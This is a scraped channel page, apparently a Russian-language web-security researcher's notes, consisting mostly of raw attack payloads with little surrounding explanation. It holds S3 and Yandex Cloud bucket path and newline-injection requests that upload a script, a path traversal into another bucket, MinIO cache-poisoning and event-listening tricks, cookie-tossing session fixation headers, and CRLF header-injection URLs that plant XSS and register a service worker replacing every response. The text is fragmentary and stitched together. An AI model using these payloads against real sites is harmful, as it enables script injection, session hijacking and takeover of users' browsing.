BlackFan
关联群组
BlackFan Chat
11
登录以解锁更多功能。
{{@RestControllerPOST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json
{
"name": "name",
"age": 1
}
GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint
GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint
location / {http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html
http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar
PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:<@base64><@hex2ascii><@hmac_sha1('##SECRET-KEY##')><@d_burp_url>PUT%0A%0Atext/html%0A<@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>%0A/bucket-name/foo%250Abar<@/d_burp_url><@/hmac_sha1><@/hex2ascii><@/base64>
Date: <@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>
Content-Length: 25
<script>alert(1)</script>
location /static/ {http://example.tld/attacker-bucket/..%2Fstatic/foo%0Abar
=
https://storage.yandexcloud.net/attacker-bucket/..%2Fstatic/foo%0Abar
PUT /attacker-bucket/..%2Fstatic/foo%0Abar HTTP/1.1
Host: example.tld
Connection: close
x-minio-extract.GET /bucket/?prefix=archive.zip/&list-type=2 HTTP/1.1GET /bucket/archive.zip/test.html HTTP/1.1x-minio-extract, её можно будет использовать против других клиентов, так как этот заголовок не будет использоваться в ключе кэша.s3:ListenBucketNotification, это позволяет в режиме реального времени получать информацию о внутреннем адресе MinIO, изменениях объектов или запросах пользователей к объектам, включая IP адрес и User-Agent.curl "http://127.0.0.1:9000/bucket/?events=s3:ObjectAccessed:*&ping=1"Set-Cookie: sessionid=<attacker_session>; domain=.company.tld; path=/foo/bar; secure; samesite=none;
Cookie: sessionid=<attacker_session>; sessionid=<victim_session>;
sessionID=value;
"sessionid"=value;
sessionid =value; (кажется уже зафикшено)
x=x,sessionid=value;
Set-Cookie: sessionid=<attacker_session>; domain=.company.tld; path=/; secure; samesite=none; partitioned;
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3Ehttps://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
